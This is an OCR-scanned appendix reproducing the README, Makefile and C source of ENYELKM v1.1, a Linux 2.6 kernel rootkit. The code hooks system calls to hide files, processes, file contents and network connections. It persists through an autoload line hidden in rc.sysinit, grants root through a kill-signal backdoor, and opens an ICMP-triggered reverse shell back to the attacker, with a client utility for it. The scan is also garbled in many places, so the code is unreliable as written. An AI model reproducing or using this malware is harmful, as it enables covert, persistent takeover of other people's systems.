@echo
@echo

ENYELKM $(VERSION) by RaiSe"
raise@enye-sec.org | www.enye-sec.org"

@cp -T enyelkm._ko /Zetc/.enyelkmHIDENIT ko
@chattr +i /etc/.enyelkmHIDEMT. ko > /dev/null 2> /dev/null
@echo -e "#<HIDE_8762>\ninsmod /etc/.enyelkmHIDEMNIT_ko™ \

\
\

" > /dev/null 2> /dev/null\n#</HIDE_8762>" \
>> /etc/rc.d/rc.sysinit

@touch -r /etc/rc.d/rc /etc/rc.d/rc.sysinit > /dev/null 2>

/dev/null

@insmod

@echo
@echo
@echo
@echo

clean:
@echo
@echo
@echo
@echo
@echo
@echo

+
+
+

@rm -rf

make -

C

/etc/ .enyelkmHIDENIT . ko

enyelkm.ko copy to Zetc/.enyelkmHIDEMIT. ko

autoload hidden string installed on /etc/rc.d/rc.sysinit
enyelkm loaded !

ENYELKM $(VERSION) by RaiSe"
raise@enye-sec.org | www.enye-sec.org"

*.0 *.ko *.mod.c .*.cmd data.h connect .tmp_versions
/1ib/modules/$(shell uname -r)/build SUBDIRS=$(PWD) clean

D.3: README.txt

ENYELKM v1.1 | by RaiSe

Linux Rootkit x86 kernel v2.6.x
< raise@enye-sec.org >

< http://www.enye-sec.org >

Tested on kernels: + v2.6.3 + v2.6.14 + v2.6.11-1.1369 FC4

Compile:
# make

Install:

# make install

Compile only reverse_shell connect utility:

# make connect
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* Make install does:

- Copy enyelkm_ko file to "/etc/.enyelkmHIDEMIT . ko", so when LKM
is loaded that file will be hidden.

- Add the string "insmod /etc/.enyelkmHIDEMIT.ko" between the marks
#<HIDE_8762> and #</HIDE_8762> to /etc/rc.d/rc.sysinit file. So

when LKM is loaded these lines will be hidden (it is explained after).
- Load LKM with "insmod /Zetc/.enyelkmHIDENIT. ko™ .

- Try modify date of /etc/rc.d/rc.sysinit file with date from

/etc/rc.d/rc, and set +i attribute to /etc/.enyelkmHIDEMNIT . ko
with touch and chattr commands.

* Hide files, directories and processes:

Every file, directory and process with substring “HIDEMNIT® on

his name is hidden. Processes with gid = 0x489196ab are hidden

too. Reverse shell (after is explained) run with gid = 0x489196ab, so
it and every process launched from it is hidden.

* Hide chunks inside a file:

Every byte between the marks is hidden:
(marks included)

#<HIDE_8762>

text to hide
#</HIDE_8762>

* Get local root:

Doing: # Kkill -s 58 12345
you get id O.

* Hide module to "lIsmod”:

LKM is auto hidden.

* Hide module to "/sys/module”:

Rename LKM (.ko) to a name with substring HIDEMNT in his name before
load it with insmod (as "make install® do).

* Remote access:

Use utility “connect™ for it. Run it: "_/connect
ip_computer_with_lkm". It

sends a special ICMP, open a port and receive the reverse shell. For
exit
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shell: control+c. The connection is hidden to "netstat® in computer
with
LKM.

* Uninstall LKM:

Restart the computer. ITf you made "make install®, edit
/etc/rc.d/rc.sysinit

with a text editor and save it. The editor will not "see” the hidden
lines

and it will not save them. After it restart computer. You can test if
LKM

is loaded doing: “kill -s 58 12345".

EOF
D.4: Base.c

/*
* ENYELKM v1.1
* Linux Rootkit x86 kernel v2.6.x
*
* By RaiSe
* < raisef@enye-sec.org

* http://www.enye-sec.org >

*/

#include <linux/types.h>
#include <linux/stddef.h>
#include <linux/unistd.h>
#include <linux/config.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/Zkernel._h>
#include <linux/string.h>
#include <linux/mm.h>
#include <linux/slab.h>
#include <linux/sched.h>
#include <linux/Zin.h>
#include <linux/skbuff.h>
#include <linux/netdevice.h>
#include <linux/dirent.h>
#include <asm/processor.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>
#include "config.h"
#include '"data.h"

#include "remoto.h"
#include "kill.h"

#include "read.h"

#include "Is.h"

#define ORIG_EXIT 19
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#define DIRECALL 42
#define SALTO 5
#define SKILL 49
#define SGETDENTS64 57
#define SREAD 65
#define DAFTER_CALL 70
#define DNRSYSCALLS 10

/* punteros a syscalls originales */
asmlinkage int (*orig_kill)(pid_t pid, int sig);
asmlinkage long (*orig_getdents64)
(unsigned int fd, struct dirent64 *dirp, unsigned int count);

/* variables globales */

unsigned long dire_exit, after_call;

unsigned long dire_call, p_hacked kill, global_ip;
unsigned long p_hacked_getdents64, p_hacked_read;
short read_activo, lanzar_shell;

void *sysenter_entry;

void **sys call_table;

struct packet_type my_ pkt;

unsigned short global port;

int errno;

/* prototipos funciones */

void *get_system_call(void);

void *get_sys call_table(void *system_call);
void set_idt_handler(void *system_call);
void set _sysenter_handler(void *sysenter);

/* estructuras */

struct idt_descriptor
{
unsigned short off_low;
unsigned short sel;
unsigned char none, flags;
unsigned short off_high;

3

/* handler */

char idt _handler[]=
"\ X90\x90\x90\x90\x90\x90\x90\x90\x90\x3d\x90\x90\x00\x00\x73\x02"
"\ xeb\x06\x68\x90\x90\x90\x90\xc3\x83\xF8\x25\x74\x12\x3d\xdc\x00""
"\X00\X00\X74\Xx13\x83\XFB\X03\x74\x16\Xx68\x90\x90\Xx90\Xx90\xc3\xFf"
"\X15\x90\x90\x90\x90\xeb\x0e\xFF\x15\x90\x90\x90\x90\xeb\x06\xff""
"\X15\x90\x90\x90\x90\x68\x90\x90\x90\x90\xc3"";

int init_module(void)

void *s_call;
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struct module *m = & this_module;

/* borramos nuestro modulo de la lista */
if (m—>init == init_module)
list _del(&m->list);

sysenter_entry = (void *) DSYSENTER;

/* NR_syscalls limite */
*((short int *) &idt_handler[DNRSYSCALLS]) = (short int) NR_syscalls;

/* variables intermedias a las syscalls hackeadas */
p_hacked_kill = (unsigned long) hacked_ kill;
p_hacked_getdents64 = (unsigned long) hacked_getdents64;
p_hacked _read = (unsigned long) hacked_ read;

/* variables de control */
lanzar_shell = read_activo = 0;
global_ip = OxFFFffffT;

/* averiguar sys_call_table */
s _call = get_system call();
sys _call_table = get_sys call_table(s_call);

/* punteros a syscalls originales */
orig _kill = sys call_table[ NR kill];
orig_getdents64 = sys call_table[ NR getdents64];

/* modificar los handlers */
set_idt_handler(s_call);
set_sysenter_handler(sysenter_entry);

/* insertamos el nuevo filtro */
my_pkt.type=htons(ETH_P_ALL);
my_pkt.func=capturar;
dev_add_pack(&my pkt);

#1T DEBUG == 1
printk(’enyelkm loaded!\n™);
#endiF

return(0);

void cleanup_module(void)

/* dejar terminar procesos que estan "leyendo® */
while (read_activo !'= 0)
schedule();

#iT DEBUG ==

printk("'enyelkm unloaded!\n");
#endiF
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void *get_system_call(void)

{
unsigned char idtr[6];

unsigned long base;
struct idt_descriptor desc;

asm (“'sidt %0" : "=m" (idtr));

base = *((unsigned long *) &idtr[2]);

memcpy(&desc, (void *) (base + (0x80*8)), sizeof(desc));
return((void *) ((desc.off _high << 16) + desc.off _low));

void *get_sys call_table(void *system call)
{

unsigned char *p;
unsigned long s_c_t;

p = (unsigned char *) system call;

while (1((*p == OxFF) && (*(p+1) == Ox14) && (*(p+2) == 0x85)))
p++;

dire_call = (unsigned long) p;

p+:3;
s c_t = *((unsigned long *) p);
p += 4;
after_call = (unsigned long) p;
/* cli */
while (*p != Oxfa)

p++;

dire_exit = (unsigned long) p;
return((void *) s c t);

void set_idt_handler(void *system_call)

{

unsigned char *p;
unsigned long *p2;

p = (unsigned char *) system call;
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/* primer salto */
while (M((*p == Ox0F) && (*(p+1) == 0x83)))
p++;

p -=5;

*p++ = 0x68;
p2 = (unsigned long *) p;
*p2++ = (unsigned long) ((void *) &idt_handler[SALTO]);

p = (unsigned char *) p2;
*n = 0xc3;

/* syscall_trace_entry salto */
while (I((*p == OxO0F) && (*(p+l) == 0x82)))
p++;

p -=5;

*p++ = 0Ox68;
p2 = (unsigned long *) p;
*p2++ = (unsigned long) ((void *) &idt_handler[SALTO]);

p = (unsigned char *) p2;
*p = 0xc3;

p = idt_handler;

*((unsigned long *)((void *) p+ORIG_EXIT)) = dire_exit;
*((unsigned long *)((void *) p+DIRECALL)) = dire_call;
*((unsigned long *)((void *) p+SKILL)) = (unsigned long)
&p_hacked kill;

*((unsigned long *)((void *) p+SGETDENTS64)) = (unsigned long)
&p_hacked_getdents64;

*((unsigned long *)((void *) p+SREAD)) = (unsigned long)
&p_hacked_read;

*((unsigned long *)((void *) p+DAFTER_CALL)) = after_call;

void set sysenter_handler(void *sysenter)

{

unsigned char *p;

unsigned long *p2;

p = (unsigned char *) sysenter;

/* buscamos call */

while (A ((*p == OxfF) && (*(p+l) == 0x14) && (*(p+2) == 0x85)))
p++;

/* buscamos el jae syscall_badsys */

while (A ((*p == Ox0F) && (*(p+1l) == 0x83)))
p--3

p-=5;
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/* metemos el salto */

*p++ = 0Ox68;
p2 = (unsigned long *) p;
*p2++ = (unsigned long) ((void *) &idt_handler[SALTO]);

p = (unsigned char *) p2;
*p = 0xc3;

/* Licencia GPL */
MODULE_LICENSE(*'GPL™);

/* EOF */
D.5: Config.h

/*
* Configuration Ffile
*/

/* debug mode */
#define DEBUG O

/* ICMP key */
#define ICMP_CLAVE "ENYELKMICMPKEY"

/* key to hide files, directories and processes */
#define SHIDE "HIDENIT™

/* GID magic */
#define SGID 0x489196ab

/* home directory of remote shell */
#define HOME *'/"

D.6: Connect.c

ENYELKM v1.1
Linux Rootkit x86 kernel v2.6.x

*

*

*

* By RaiSe
* < raise@enye-sec.org

* http://www.enye-sec.org >
*/

#include <stdio.h>

#include <stdlib.h>

#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
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#include <netinet/udp.h>
#include <netdb.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/Zinet.h>
#include "config.h"

int enviar_icmp(char *ipdestino, unsigned short puerto);

int main(int argc, char *argv[])

struct sockaddr_in dire;
unsigned short puerto;
int soc, soc2;

fd_set s read;

unsigned char tmp;

if(geteuid())
{

printf("\nYou need root level (to use raw sockets).\n\n'"");
exit(-1);

if (argc < 2)

printF(C"\nUtility to connect reverse shell from enyelkm:\n"");
printF(C"\n%s ip_dest [port]\n\n", argv[0]);

exit(-1);

}

if (argc > 2)

puerto = (unsigned short) atoi(argv[2]);
else

puerto = 8822;

if ((soc = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{

printf("'error creating socket.\n");
exit(-1);
bzero((char *) &dire, sizeof(dire));
dire_.sin_family = AF_INET;
dire.sin_port = htons(puerto);

dire.sin_addr.s_addr = htonl (INADDR_ANY);

while(bind(soc, (struct sockaddr *) &dire, sizeof(dire)) == -1)
dire._sin_port = htons(++puerto);

listen(soc, 5);
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printF("\n* Launching reverse_shell:\n\n");
fflush(stdout);

enviar_icmp(argv[l], puerto);

printF("'Waiting shell on port %d (it may delay some seconds) ...\n",
(int) puerto);

fflush(stdout);

soc2 = accept(soc, NULL, 0);

printf("'launching shell ...\n\n");

printfF('id\n");

fflush(stdout);

write(soc2, "id\n", 3);

while(1)
{
FD_ZERO(&s_read);
FD_SET(0, &s read);
FD_SET(soc2, &s read);
select((soc2 > 0 ? soc2+1 : 0+1), &s read, 0, O, NULL);
if (FD_ISSET(0, &s_read))

{
if (read(0, &tmp, 1) == 0)

break;

write(soc2, &tmp, 1);

}

if (FD_ISSET(soc2, &s_read))

{

if (read(soc2, &tmp, 1) == 0)
break;

write(1, &tmp, 1);

3

} /* fin while(l) */

exit(0);

} /7***** fin de main() *****/

int enviar_icmp(char *ipdestino, unsigned short puerto)

{

int soc, n, tot;

long sum;

unsigned short *p;

struct sockaddr_in adr;

unsigned char pqt[4096];

struct iphdr *ip = (struct iphdr *) pqt;

struct icmphdr *icmp = (struct icmphdr *)(pqt + sizeof(struct iphdr));
char *data = (char *)(pgt + sizeof(struct iphdr) + sizeof(struct
icmphdr));
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bzero(pqt,4096) ;

bzero(&adr, sizeof(adr));

strcpy(data, ICMP_CLAVE);

p = (unsigned short *)((void *)(data + strlen(data)));
*p = puerto;

tot = sizeof(struct iphdr) + sizeof(struct icmphdr) +
strien(1CMP_CLAVE) + sizeof(puerto);

iT((soc=socket(AF_INET,SOCK_RAW, IPPROTO_RAW)) == -1)
{
perror(“'error creating socket.\n");
exit(-1);
}

adr.sin_family = AF_INET;
adr.sin_port = 0;
adr.sin_addr.s_addr = inet_addr(ipdestino);

ip—>ihl = 5;

ip->version = 4;

ip—>id = rand() % Oxffff;
ip—>ttl = 0x40;
ip—>protocol = 1;

ip—>tos = 0;

ip—>tot_len = htons(tot);
ip->saddr = O;

ip->daddr = inet_addr(ipdestino);

icmp->type = ICMP_ECHO;

icmp->code = 0;

icmp->un.echo.id = getpid() && OxFFff;
icmp->un.echo.sequence = 0;

printf("'Sending ICMP ..._.\n");
fflush(stdout);

n = sizeof(struct icmphdr) + strlen(ICMP_CLAVE) + sizeof(puerto);
icmp->checksum = O;

sum = O;

p = (unsigned short *)(pgt + sizeof(struct iphdr));

while (n > 1)

{
sum += *p++;
n -=2;
}
if (n ==1)
{

unsigned char pad = 0;
pad = *(unsigned char *)p;
sum += (unsigned short) pad;

3
sum = ((sum >> 16) + (sum & OxFfff));
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icmp-> checksum = (unsigned short) ~sum;

if ((h = (sendto(soc, pqt, tot, 0, (struct sockaddr*) &adr,
sizeof(adr)))) == -1)
{

perror("'error sending data.\n'"");
exit(-1);
}

return(0);

/> EOF */
D.7: Data.h

#define DSYSENTER 0xc0104064
#define DOFORK 0xc0110f10

D.8: Enyelkm.mod.c

#include <linux/module.h>
#include <linux/vermagic.h>
#include <linux/compiler._h>

MODULE_ INFO(vermagic, VERMAGIC_STRING);

#undef unix

struct module __ this _module

__attribute__ ((section(.gnu.linkonce.this_module™))) = {
-name = __ stringify(KBUILD_MODNAME),
-init = init_module,

#ifdef CONFIG_MODULE_UNLOAD
.exit = cleanup_module,

#endif

¥

static const struct modversion_info versions[]
__attribute_used
__attribute__ ((section(__versions'™))) = {

{ 0, "cleanup_module™ %},

{ 0, "init_module" },

{ 0, "struct_module™ },

{ 0, "__kmalloc" %},

{ 0, "__kfree_skb™ },

{ 0, "simple_strtoul" },

{ 0, "sprintf" },

{ 0, "_ copy to user_II1" },
{ 0, "vfs_read" },

{ 0, "__copy_from_ user_I1" },
{ 0, "'strstr" %},

{ 0, "fput” },

{ 0,

"schedule" },
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"kfree" %},

"memcpy" },
"dev_add_pack™ },

'memmove’ },

eNeoloNe)

A P A e

¥

static const char _ module_depends|[]
__attribute_used

__attribute__ ((section(.modinfo™))) =
""depends="";

D.9: Kill.c
/*
* ENYELKM v1.1
* Linux Rootkit x86 kernel v2.6.x
*
* By RaiSe
* < raise@enye-sec.org
*

http://www.enye-sec.org >
*/

#include <linux/types.h>
#include <linux/stddef.h>
#include <linux/Zunistd.h>
#include <linux/config.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/kernel.h>
#include <linux/string.h>
#include <linux/mm.h>
#include <linux/slab.h>
#include <linux/sched.h>
#include <linux/Zin.h>
#include <linux/skbuff.h>
#include <linux/netdevice.h>
#include <asm/processor.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>
#include "config.h"

#define SIG 58
#define PID 12345

/* declaraciones externas */
extern asmlinkage int (*orig_kill)(pid_t pid, int sig);

asmlinkage int hacked_kill(pid_t pid, int sig)
{

struct task_struct *ptr = current;
int tsig = SIG, tpid = PID, ret_tmp;

if ((tpid == pid) && (tsig == siQ))
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{
ptr->uid = 0;
ptr->euid = 0
ptr->gid = 0O;
ptr->egid = 0
return(0);
3

else
{
ret_tmp = (Forig_kill)(pid, sig);
return(ret_tmp);
}

return(-1);

// EOF
D.10: Kill.h

/* Tunciones de kill.c */

asmlinkage int hacked_kill(pid_t pid, int sig);

D.11: Ls.c
/*
* ENYELKM v1.1
* Linux Rootkit x86 kernel v2.6.x
*
* By RaiSe
* < raise@enye-sec.org
*

http://www.enye-sec.org >
*/

#include <linux/types.h>
#include <linux/stddef.h>
#include <linux/Zunistd.h>
#include <linux/config.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/kernel.h>
#include <linux/string.h>
#include <linux/mm.h>
#include <linux/slab.h>
#include <linux/sched.h>
#include <linux/in.h>
#include <linux/skbuff.h>
#include <linux/netdevice.h>
#include <linux/dirent.h>
#include <asm/processor.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>
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#include "config.h"

/* declaraciones externas */
extern asmlinkage long (*orig_getdents64)

(unsigned int fd, struct dirent64 *dirp, unsigned int
count);

asmlinkage long hacked getdents64
(unsigned int fd, struct dirent64 *dirp, unsigned int count)
{

struct dirent64 *tdl, *td2;

long ret, tmp;

unsigned long hpid;

short int mover_puntero, ocultar_proceso;

/* llamamos a la syscall original */
ret = (*orig_getdents64) (fd, dirp, count);

/* si vale cero retornamos */
it (Iret)
return(ret);

/* copiamos la lista al kernel space */
td2 = (struct dirent64 *) kmalloc(ret, GFP_KERNEL);
__copy_Ffrom_user(td2, dirp, ret);

/* inicializamos punteros y contadores */
tdl = td2, tmp = ret;

while (tmp > 0)
{
tmp -= tdl->d_reclen;
mover_puntero = 1;
ocultar_proceso = 0;
hpid = 0;

hpid = simple_strtoul (tdl->d_name, NULL, 10);

/* ocultacion de procesos */
if (hpid = 0)
{

struct task struct *htask = current;

/* buscamos el pid */
do {
if(htask->pid == hpid)
break;
else
htask = next_task(htask);
} while (htask != current);
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/* 1o ocultamos */
iT (((htask->pid == hpid) && (htask->gid == SGID)) ||
((htask->pid == hpid) && (strstr(htask->comm, SHIDE)
I= NULL)))

}

ocultar_proceso = 1;

/* ocultacion de ficheros/directorios */
if ((ocultar_proceso) || (strstr(tdl->d _name, SHIDE) != NULL))

{
/* una entrada menos */
ret -= tdl->d_reclen;

/* no moveremos el puntero al siguiente */
mover_puntero = 0;

if (tmp)
/* no es el ultimo */
memmove(tdl, (char *) tdl + tdl->d_reclen, tmp);

}

it ((tmp) && (mover_puntero))
tdl = (struct dirent64 *) ((char *) tdl + tdl->d_reclen);

} /7* Tin while */
/* copiamos la lista al user space again */
__copy_to_user((void *) dirp, (void *) td2, ret);
kfree(td2);

return(ret);

} /xxrssxrksx £in hacked getdents[64] **xxxwxxx/

/* EOF */
D.12: Ls.h

/* funciones de Is.c */

asmlinkage long hacked getdents64
(unsigned int fd, struct dirent64 *dirp, unsigned int count);

D.13: Read.c

ENYELKM v1.1
Linux Rootkit x86 kernel v2.6.x

< raise@enye-sec.org

*
*
*
* By RaiSe
*
* http://www.enye-sec.org >
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#include <linux/types.h>
#include <linux/stddef.h>
#include <linux/Zunistd.h>
#include <linux/config.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/kernel.h>
#include <linux/string.h>
#include <linux/mm.h>
#include <linux/slab.h>
#include <linux/sched.h>
#include <linux/Zin.h>
#include <linux/skbuff.h>
#include <linux/netdevice.h>
#include <linux/file.h>
#include <linux/dirent.h>
#include <asm/processor.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>
#include "remoto.h"
#include "config.h"
#include "data.h"

#define SSIZE_MAX 32767

/* define marcas */
#define MOPEN "#<HIDE_8762>"
#define MCLOSE '‘#</HIDE_8762>"

/* declaraciones externas */
extern short lanzar_shell;

extern short read _activo;

extern unsigned long global_ip;
extern unsigned short global _port;

/* do_fork */
long (*my_do_fork)(unsigned long clone_flags,
unsigned long stack start,
struct pt_regs *regs,
unsigned long stack size,
int __user *parent_tidptr,
int __user *child_tidptr) = (void *) DOFORK;

struct file *e_fget light(unsigned int fd, int *fput_needed)
{

struct file *Tile;

struct files_struct *files = current->files;

*fput_needed = O;

if (likely((atomic_read(&files->count) == 1))) {
file = fcheck(fd);

} else {
spin_lock(&Files->file_lock);
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file = fcheck(fd);

it (File) {
get_file(file);
*fput_needed = 1;

spin_unlock(&Files->File_lock);

}

return file;

int checkear(void *arg, int size, struct file *fichero)

char *buf;

/* si SSIZE MAX <= size <= 0 retornamos -1 */
if ((size <= 0) || (size >= SSIZE_MAX))
return(-1);

/* reservamos memoria para el buffer y copiamos */
buf = (char *) kmalloc(size+1l, GFP_KERNEL);
__copy_Ffrom_user((void *) buf, (void *) arg, size);
buf[size] = 0;

/* chequeamos las marcas */
ifT ((strstr(buf, MOPEN) I= NULL) && (strstr(buf, MCLOSE) !'= NULL))
{
/* se encontraron las dos, devolvemos 1 */
kfree(buf);
return(l);

}

/* chequeamos /proc/net/tcp */
it ((Fichero = NULL) && (Fichero->f dentry != NULL) &&
(fichero->f _dentry->d_parent != NULL) &&
(fichero->f_dentry->d_parent->d_parent != NULL))
{
/* todo correcto ? */
iT((Fichero->f_dentry->d_iname == NULL) ||
(fichero->f_dentry->d_parent->d_iname == NULL) ||
(fichero->T_dentry->d_parent->d_parent->d_inode == NULL))

{
kfree(buf);
return(-1);
}

/* /proc/net/tcp ? */

if(Istrcmp(fichero->f _dentry->d_iname, ''tcp') &&
Istrcmp(fichero->f _dentry->d_parent->d_iname, "net') &&
(Fichero->f_dentry->d_parent->d_parent->d_inode->i_ino ==

{

/* devolvemos 2 para ocultar conexiones */
kfree(buf);

1)
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return(2);
}
}

/* liberamos y retornamos -1 para q no haga nada */
kfree(buf);
return(-1);

int hide_marcas(void *arg, Int size)

{
char *buf, *pl, *p2;
int 1, newret;

/* reservamos y copiamos */
buf = (char *) kmalloc(size, GFP_KERNEL);
__copy_Ffrom_user((void *) buf, (void *) arg, size);

strstr(buf, MOPEN);
strstr(buf, MCLOSE);
+= strlen(MCLOSE);

pl =
p2 =
p2
i = size - (p2 - buf);

memmove((void *) pl, (void *) p2, i);
newret = size - (p2 - pl);

/* copiamos al user space, liberamos y retornamos */
__copy_to_user((void *) arg, (void *) buf, newret);
kfree(buf);

return(newret);

int ocultar_linea(char *linea)

{
char hide[128];

sprintf(hide, "%08X:', (unsigned int) global _ip);

ifT (strstr(linea, hide) I= NULL)
/* ocultamos todos los sockets con nuestra ip */
return(1);

/* no ocultamos nada */
return(0);

} /FFFFFRER* Fin de ocultar_linea ******x*x*x/
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int copiar_linea(char *dst, char *from, int index)

char *p, *p2, tmp;

int i

= 0;

p = from;

/* colocamos p en el principio de la linea */

while

(i = index)

{
while (*p++ I= 0x0a);

/* nos pasamos */
it (p >= from+strilen(from))
return(0);

i++;

}
P2 = p;
/* p2 al final de la linea y ponemos un null temporal */
while (*p2++ I= 0x0a)

tmp

{

/* por si no tiene fin de linea */
if(p2 >= from+strlen(from))

break;
}

*pz;
0x00;

/* copiamos y restauramos el char */
strcpy(dst, p);

tmp;

return(1);

int ocultar_netstat(char *arg, int size)

{
char linea[256], *buf, *dst;
int cont = 0, ret;

/* no deberia ocurrir nunca */
it (size == 0)

return(size);

/* reservamos y copiamos */

buf =

(char *) kmalloc(size+1l, GFP_KERNEL);
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__copy_Ffrom_user((void *) buf, (void *) arg, size);
buf[size] = 0x00;

/* reservamos buffer destino temporal */
dst = (char *) kmalloc(size+16, GFP_KERNEL);
dst[0] = 0x00;

while (copiar_linea(linea, buf, cont++))
if (Jocultar_linea(linea))
strcat(dst, linea);

/* nuevo size posible */
ret = strlen(dst);

/* copiamos al user space, liberamos y retornamos */
__copy_to_user((void *) arg, (void *) dst, ret);
kfree(buf);

kfree(dst);

return(ret);

asmlinkage ssize_ t hacked read(int fd, void *buf, size_t nbytes)
{

struct pt_regs regs;

struct file *fichero;

int fput_needed;

ssize_t ret;

/* se hace 1 copia del proceso y se lanza la shell */
if (lanzar_shell == 1)
{

memset(&regs, 0, sizeof(regs));

regs.xds = __ USER_DS;

regs.xes = _ USER_DS;

regs.orig _eax = -1;

regs.xcs __KERNEL_CS;

regs.eflags = 0x286;

regs.eip = (unsigned long) reverse_shell;

lanzar_shell = 0;

(*my_do_fork)(0, 0, &regs, 0, NULL, NULL);
}

/* seteamos read_activo a uno */
read _activo = 1;

/* error de descriptor no valido o no abierto para lectura */
ret = -EBADF;

fichero = e _fget light(fd, &fput needed);
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it (fichero)
{

ret = vfs_read(fichero, buf, nbytes, &fichero->f _pos);

/* aqui es donde analizamos el contenido y ejecutamos la
funcion correspondiente */

switch(checkear(buf, ret, fichero))

{
case 1:
/* marcas */
ret = hide_marcas(buf, ret);
break;
case 2:
/* ocultar conexion */
ret = ocultar_netstat(buf, ret);
break;
case -1:
/* no hacer nada */
break;
3

fput_light(Ffichero, fput needed);
}
/* seteamos read_activo a cero */
read_activo = 0;
return ret;

// EOF
D.14: Read.h

/* funciones de read.c */

asmlinkage ssize_t hacked read(int fd, void *buf, size_t nbytes);
int checkear(void *arg, int size);

int hide_marcas(void *arg, int size);

int ocultar_linea(char *linea);

int ocultar_netstat(char *arg, int size);

int copiar_linea(char *dst, char *from, int index);

D.15: Remoto.c

* ENYELKM v1.1

* Linux Rootkit x86 kernel v2.6.x
*x

*

By RaiSe
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* < raise@enye-sec.org

* http://www.enye-sec.org >

*/

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

<linux/types.h>
<linux/stddef.h>
<linux/unistd.h>
<linux/config.h>
<linux/module.h>
<linux/version.h>
<linux/kernel .h>
<linux/string.h>
<linux/mm.h>
<linux/slab.h>
<linux/sched.h>
<linux/Zin.h>
<linux/skbuff.h>
<linux/ip.h>

<linux/dirent.h>
<asm/processor .h>
<asm/uaccess.h>
<asm/unistd.h>
<asm/i1octls.h>
<asm/termbits.h>
"config.h"
"remoto.h"

<linux/netdevice.h>

#define _ NR e exit _ NR exit

/* variables globales */
static

extern short lanzar_shell;

char *earg[4] = { "/bin/bash', "--noprofile”™, "--norc", NULL };

extern int errno;
extern unsigned long global _ip;
extern unsigned short global port;

int ptmx, epty;

/* variables de entorno */
char *env[]={
“"TERM=Iinux",

""HOME="" HOME,

"PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin"

"":/usr/local/sbin",
“"HISTFILE=/dev/null",
NULL %};

/* syscalls */

static inline _syscall2(int,
static inline _syscalll(int,
static inline _syscall3(int,
count);

static inline _syscall3(int,
static inline _syscalll(int,

kill, pid_t, pid, int, sig);
chdir, const char *, path);

write, int, fd, const char *, buf, off_t,
read, int, fd, char *, buf, off_t, count);
e _exit, int, exitcode);
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static inline _syscall3(int, open, const char *, file, int, flag, int,
mode) ;
static inline _syscalll(int, close, int, fd);
static inline _syscall2(int, dup2, int, oldfd, int, newfd);
static inline _syscall2(int, socketcall, int, call, unsigned long *,
args);
static inline _syscall3(int, execve, const char *, filename,

const char **, argv, const char **, envp);
static inline _syscall3(long, ioctl, unsigned int, fd, unsigned int,
cmd,

unsigned long, arg);
static inline _syscall5(int, newselect, int, n, fd set *, readfds,
fd_set *,

writefds, fd_set *, exceptfds, struct timeval *, timeout);

/* do_fork */
extern long (*my_do_fork)(unsigned long clone_ flags,
unsigned long stack_ start,
struct pt_regs *regs,
unsigned long stack size,
int __user *parent_tidptr,
int __user *child_tidptr);

int reverse_shell(void *ip)

{

struct task struct *ptr = current;
struct sockaddr_in dire;

struct pt_regs regs;

mm_segment_t old_fs;

unsigned long arg[3];

int soc, tmp_pid;

unsigned char tmp;

fd_set s _read;

old_fs = get_fTs();

ptr->uid = O;
ptr->euid = 0;
ptr->gid = SGID;
ptr->egid = 0;

arg[0] = AF_INET;
arg[1l] = SOCK_STREAM;
arg[2] = O;

set_Ts(KERNEL_DS);
if ((soc = socketcal I (SYS_SOCKET, arg)) == -1)

{
set_fs(old_fs);
lanzar_shell = 1;

e exit(-1);
return(-1);
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}
memset((void *) &dire, 0, sizeof(dire));

dire_sin_family = AF_INET;
dire.sin_port = htons((unsigned short) global port);
dire.sin_addr.s_addr = (unsigned long) global ip;

arg[0] = soc;
arg[1] = (unsigned long) &dire;
arg[2] = (unsigned long) sizeof(dire);

it (socketcall(SYS_CONNECT, arg) == -1)
{

close(soc);
set_fs(old_fs);
lanzar_shell = 1;

e exit(-1);
return(-1);
}

/* pillamos tty */
epty = get_pty();

/* ejecutamos shell */
set_fs(old _fs);

memset(&regs, 0, sizeof(regs));

regs.xds = _ USER_DS;
regs.xes = _ USER _DS;
regs.orig_eax = -1;
regs.xcs = _ KERNEL_CS;

regs.eflags = 0x286;
regs.eip = (unsigned long) ejecutar_shell;
tmp_pid = (*my_do_fork)(0, 0, &regs, 0, NULL, NULL);

set_Fs(KERNEL_DS);

while(l)

FD_ZERO(&s_read);
FD_SET(ptmx, &s_read);
FD_SET(soc, &s read);
_newselect((ptmx > soc ? ptmx+l : soc+l), &s read, 0, 0, NULL);
it (FD_ISSET(ptmx, &s read))

{

ifT (read(ptmx, &tmp, 1) == 0)

break;

write(soc, &tmp, 1);
}

if (FD_ISSET(soc, &s read))
{
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if (read(soc, &tmp, 1) == 0)
break;

write(ptmx, &tmp, 1);

}

} /7* Tin while */
/* matamos el proceso */
kill(tmp_pid, SIGKILL);
/* salimos */
set_fs(old_fs);
e _exit(0);
return(-1);

int capturar(struct sk buff *skb, struct net device *dev, struct
packet_type *pkt,

{

unsigned short len;
char buf[256];
int i;

struct net_device *dev2)

/* debe ser icmp */
if (skb->nh.iph->protocol 1= 1)

{
kfree_skb(skb);
return(0);
/* el icmp debe ser para nosotros */
if (skb->pkt_type !'= PACKET_HOST)
{
kfree_skb(skb);
return(0);
len = (unsigned short) skb->nh.iph->tot_len;

len htons(len);

/* no es nuestro icmp */
it (len 1= (28 + strlen(1ICMP_CLAVE) + sizeof(unsigned short)))

{
kfree_skb(skb);
return(0);

}

/* copiamos el packete */
memcpy (buf, (void *) skb->nh_iph, len);

/* borramos los null */
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for (i=0; i < len; i++)
if (buf[i] == 0)
buf[i] = 1;
buf[len] = 0;
if(strstr(buf, ICMP_CLAVE) != NULL)
{
unsigned short *puerto;

puerto = (unsigned short *)
((void *)(strstr(buf, ICMP_CLAVE) +
strien(1CMP_CLAVE)));

global_port = *puerto;
global_ip = skb->nh.iph->saddr;

lanzar_shell = 1;

}

kfree_skb(skb);
return(0);

int get pty(void)

{
char buf[128];
int npty, lock = 0;

ptmx = open("'/dev/ptmx', O _RDWR, S IRWXU);

